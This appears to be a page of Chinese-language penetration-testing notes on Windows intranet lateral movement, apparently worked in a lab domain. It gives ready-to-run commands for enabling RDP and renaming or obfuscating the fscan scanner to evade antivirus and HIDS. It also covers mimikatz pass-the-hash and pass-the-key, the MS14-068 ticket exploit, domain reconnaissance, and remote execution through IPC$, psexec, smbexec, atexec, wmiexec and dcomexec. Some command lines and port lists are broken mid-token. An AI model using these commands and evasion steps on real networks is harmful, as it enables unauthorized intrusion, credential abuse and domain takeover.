开放RDP端⼝
reg add "HKLM\SYSTEM\CurrentControlSet\control\Terminal Server" /v fDenyTSC onnections /d 0 /t REG_DWORD /f
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
越接近正常访问越不容易被杀
这里的 mysql.exe
就是 fscan.exe
mysql.exe -i 192.168.3.0/24 -np -m netbios -nopoc
mysql.exe -i 192.168.3.0/24 -np -m ms17010
#常见反序列化,weblogic,OA,Nday
mysql.exe -i 192.168.3.0/24 -np -p 22,2222,3389,5900,1433,3066,1521,5432,63
mysql.exe -i 192.168.3.0/24 -np -nobr -nopoc -o res.txt 流量最小化
常见端口
80
81
82
111
139
286
445
1080
1099
1235
1819
2181
2375
3000
3306
3389
5566
6033
6379
7000
7011
7012
7017
7041
7071
7074
7241
7242
7243
7441
7641
7700
7702
7761
7769
8000
8001
8009
8042
8060
8080
8081
8082
8083
8084
8085
8086
8088
8089
8090
8091
8092
8094
8098
8161
8181
8200
8211
8500
8597
8693
8703
8710
8713
8714
8715
8719
8750
8761
8766
8848
8868
8888
8889
8892
8893
8999
9000
9003
9004
9010
9011
9012
9081
9090
9092
9093
9099
9121
9130
9140
9200
9543
9991
9992
9998
9999
10000
10001
10004
10034
10035
10036
10037
10038
10042
10667
10909
11211
11222
12012
13553
13643
14762
15548
15672
18082
18085
18086
18088
18180
18580
19091
19101
20001
20002
20061
20062
20064
20071
20073
20077
20171
20880
20881
20882
21777
22805
22994
23075
23100
24000
27813
28010
28140
28256
28911
28912
28913
30001
30055
30059
30066
30080
30081
30082
30083
30085
30086
30087
30100
30101
30103
30105
30201
30204
30205
30221
30701
30702
30772
30776
30892
30893
30894
30896
30897
30900
31245
31870
32000
32002
32003
32005
32007
32008
32009
32016
32017
32018
32019
32023
32118
32124
32125
32200
32201
32223
32451
33022
33067
38098
39550
40061
40063
40064
40065
40066
40101
40404
44093
45168
51907
15903
15904
15905
15911
15912
15913
15914
20050
21245
24455
28132
29946
29956
33066
34011
35155
35244
40402
httpx -l url.txt -p http:8092,60000,5550,8083,8086,8081,8087,8084,8082,8080,8085,8100,8089,8090,9010,909 0,3000,8161,15672,9200,6900,9999,9000,8088,8042,8181,7071,7074,9081,2375,8888,9099,8 001,8180,9100,8010,443,80,21,22,81,135,139,445,1433,3306,5432,6379,7001,8000,11211,2 7017,1510,1511,1512,1614,1715,1879,1880,1910,1911,1912,3690,8911,9699,9701,19001,190 02,19003,19004,19005,19704,19705,19706,19707,19708,19709,19710,19711,19712,19714,197 15,19716,19717,19718,19719,19720,19721,19724,19725,20001,47373,51439,55906,59208,594 82,8899,36933 -path dir.txt -sc -title -cl -location
fscan -h 192.168.0.1/24 -np-p8092,60000,5550,8083,8086,8081,8087,8084,8082,8080,8085,8100,8089,8090,9010,9090,30 00,8161,15672,9200,6900,9999,9000,8088,8042,8181,7071,7074,9081,2375,8888,9099,8001,8180,9100,8010,443,80,21,22,81,135,139,445,1433,3306,5432,6379,7001,8000,11211,27017 ,1510,1511,1512,1614,1715,1879,1880,1910,1911,1912,3690,8911,9699,9701,19001,19002,1 9003,19004,19005,19704,19705,19706,19707,19708,19709,19710,19711,19712,19714,19715,1 9716,19717,19718,19719,19720,19721,19724,19725,20001,47373,51439,55906,59208,59482,8 899,36933
修改命令行参数特征,避免被HIDS识别
可以把Banner也注释掉
添加更多⽤户和密码
config.go
文件中
添加更多的指纹
指纹库
https://github.com/EdgeSecurityTeam/EHole/blob/main/finger.json
也可以继续添加POCS pocs库
https://github.com/chaitin/xray/tree/master/pocs
重新编译运⾏即可。
文件落地的时候
可以以下面这种方式去执行
混淆编译
go install mvdan.cc/garble@latest garble -literals -tiny -seed=random build -o fscanPro.exe main.go
内网常见应用
(pass the hash),哈希传递在域渗透中是⼀种经典的攻击⽅式。
原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,⽽不⽤提供明⽂密码。
在Windows系统中,通常会使⽤NTLM身份认证。
NTLM认证不使⽤明⽂⼝令,⽽是使⽤⼝令加密后的hash值,hash值由系统API⽣成(例如LsaLogonUser)。
hash分为LM hash
和NT hash
,如果密码⻓度⼤于15,那么⽆法⽣成LM hash。
从Windows Vista和Windows Server 2008开始,微软默认禁⽤LM hash。
如果攻击者获得了hash,就能够在身份验证的时候模拟该⽤户(即跳过调⽤API⽣成hash的过程)
pass the key:密钥传递攻击,简称PTK,利用的ekeys aes256进行的横向移动,成功几率不是很高,利用条件苛刻 漏洞利用条件:当系统安装了KB2871997补丁且禁用了NTLM的时候,那我们抓取到的NTLM hash 就失去了作用,但是可以通过PTK的攻击方式获得权限。首先使用mimikatz导出aes值
mimikatz sekurlsa::ekeys
导出后使用我们下面这条命令来进行利用
mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值
mimikatz sekurlsa::pth /user:administrator /domain:god
/aes256:1811e5811877a782b6c11e2b0165ffb88d40a633f922a012372095a43d72d7ae
执行后会在桌面弹出一个cmd窗口,这里就可以进行横向移动利用,但是上文也讲了,该移动方法的利用条件有点苛刻,他是目标系统必须打了KB2871997且禁用了NTLM hash传递时,才可以利用,但是由于我们的靶场环境并没有打KB2871997补丁且没有禁用NTLM Hash,故无法利用成功。且当一个思路吧。
pass the ticket
:票据传递攻击,简称PTT,利用的票据凭证TGT进行的横向移动,它是利用Kerberos协议进行攻击的,这里介绍三种常见的攻击方法:MS14-068、Golden Ticket、SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。缺点:票据是有效期的,一般默认为10小时。
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞,它允许经过身份验证的用户在其Kerberos票据(TGT)中插入任意PAC。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中,用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。MS14-068所造成的危害是允许域内任何一个普通用户都可以将自己提升为域管权限。微软给出的修复补丁是KB3011780,漏洞攻击是否成功要看目标机器打没打KB3011780 补丁。
漏洞利用
可以看到当前我们所处的身份是域内的一个普通用户,是无法对域控进行文件操作的。
这里我们第一步先获取当前机器的SID
shell whoami/user
拿到SID后,使用我们的ms14-068.exe生成一个票据文件。-u指定当前用户,-s 输入我们刚刚获取到的SID,-p输入当前用户密码,具体命令如下
shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
执行该命令后可以看到当前目录生成了一个票据文件。
这里生成票据文件后,就可以尝试连接目标看能否进行操作 首先清除下票据,以防该连接是以之前的票据进行连接的
net config workstation #查看当前登录域
nltest /DCLIST:HACK #其中HACK为域名。查看域控制器的机器名
net user /domain # 获得所有域用户列表
net view /domain # 查看所有的域 [关闭防火墙、管理员权限运行]
net view /domain:HACK # 查看该域内所有主机
net group /domain # 查看所有域用户组列表
net group "domain computers" /domain # 查看域内所有的主机名
net group "domain admins" /domain # 查看所有域管理员
net group "domain controllers" /domain # 查看所有域控制器
net group "enterprise admins" /domain # 查看所有企业管理员
nltest /domain_trusts # 获取域信任信息
net time /domain # 查看当前登录域
net accounts /domain # 查看域密码策略
dsquery server # 寻找目录中的域控制器
netdom query pdc # 查看域控制器主机名
wmic useraccount get /all #获取域内用户的详细信息
whoami #查看当前用户及权限
hostname # 查看当前主机名
net config Workstation #了解本机的配置信息
net user # 查看主机账号,为定制字典准备
net localgroup administrators #获取本地管理员信息
net session #列出或断开本地计算机与所连接的客户端之间的会话
quser # 查看在线用户,注意管理员是否在线
query user || qwinsta # 查看当前在线的用户
cmdkey /l # 查看当前保存的登陆凭证,也能看到通的ip
建立 IPC 共享连接(端口 445)
net use \IP或hostname /user:administrator "password"
可以操作: 文件复制、查看
不能操作: 执行程序、执行命令
IPC(Internet Process Connection)共享命名管道的资源,是为了实现进程间通信⽽开放的命名管道。
IPC可以通过验证⽤户名和密码获得相应的权限,使⽤139、445端⼝。
利⽤条件:
1、⽬标机开启了139和445端⼝
2、⽬标主机管理员开启了ipc$默认共享
3、知道⽬标机的账户密码
建⽴连接
执⾏命令
IPC横向+计划任务横向
shell net use \\192.168.3.142\ipc$ "admin!@#45" /user:sqladmin
shell tasklist /S 192.168.3.142 /U sqladmin /P admin!@#45
实战中基本都是直接psexec
IPC这个太过于基础
大家按照概念学习一下即可,真实场景没见过用IPC去横向的
服务横向移动 (要求目标开启了 139[netbios] 和 445[smb] 端口)
psexec administrator:"密码"@目标IP地址
psexec administrator:"123456"@192.168.173.130
原理:给目标IP地址远程创建一个恶意服务,服务运行的文件是恶意的exe,启动服务,getshell
smbexec administrator:"密码"@目标IP地址
smbexec administrator:"123456"@192.168.173.130
与psexec有什么不同:
还是创建一个恶意服务,但是smbexec不会上传恶意的exe
smbexec 服务运行的就是命令本身,比如执行 whoami ,执行的服务路径是 cmd.exe /c whoami
比如执行 ipconfig , 执行的服务路径是 cmd.exe /c ipconfig
缺点: 每次执行一个命令,都会创建一个新的恶意服务
计划任务横向移动(要求目标开启了 139[netbios] 和 445[smb] 端口)
atexec administrator:"密码"@目标IP地址 "命令"
原理: 给目标IP地址远程创建一个计划任务(windows7之前AT,windows7之后 schtask)
要求目标开启了 135 端口)
wmiexec administrator:"密码"@目标IP地址
原理:windows本身的wmi 服务 ,优点:没有给靶机上传任何的文件
要求目标开启了 135 端口)
dcomexec administrator:"密码"@目标地址 -object MMC20
原理:windows 本身的 DCOM组件,优点:没有给靶机上传任何的文件